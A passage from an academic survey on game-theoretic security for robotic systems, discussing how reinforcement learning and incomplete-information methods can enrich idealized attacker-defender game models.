the defense mechanisms and the attack models. The games take different forms to describe

the distinct features at a specific layer of the robotic system. The formulation of the game

models builds on the system designer’s knowledge and assumption about the attacker. The

assumption of the attack model may not perfectly align with the practice. One important

reason is that the designer and the attacker have asymmetric information about each other.

Furthermore, the players may not act rationally even if the game is known to both. These

questions are reasonable concerns when we apply the solutions from idealized game models.

The idealized models provide a canonical form of descriptions. Many sophisticated methods

can enrich these models to provide practical security solutions.

One method to enrich the baseline game models is reinforcement learning (RL). The

defender can learn and react to the attacker’s behaviors in real-time. The RL does not

require the defender to know the games ahead of time but uses his observations to adapt

his strategies without knowing the underlying model. In [55] has developed RL algorithms

to assimilate the data collected by honeypots to create an attack model and learn about

the attacker’s intention and capabilities. [184] and [185] have also presented several RL

mechanisms which are used to model different styles of learning in terms of rationality and

the intelligence of the learner. They can be used to capture human factors such as constraints

on cognition, perception, and reasoning.

RL techniques have also been used as part of the OT to control and monitor robots in real-
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time. The OT-level RL allows the robots to learn the cyber-induced changes in the physical

systems and respond to them to achieve agility and resiliency (e.g. see [57, 169, 170]). It

is possible to compose the RL algorithms at IT and OT levels to achieve holistic security

learning and monitoring of the robotic systems.

Besides RL, the baseline game models can be enriched by directly incorporating infor-

mation incompleteness. In large-scale finite security games, it is not practical for the players

to know every entry of the payoff matrix. The players can estimate the unknown payoffs

by leveraging information from historical or real-time plays [84, 92, 104]. For example, [92]

has presented a gradient method to estimate the payoff matrices by finding the closest one

to the game matrices played in the past. Incorporating uncertainties and bounded ratio-

nality into game models is a major step toward bridging game theory and practice. This

cross-disciplinary approach will benefit from fruitful collaborations between game theorists,

cybersecurity experts, and roboticists.
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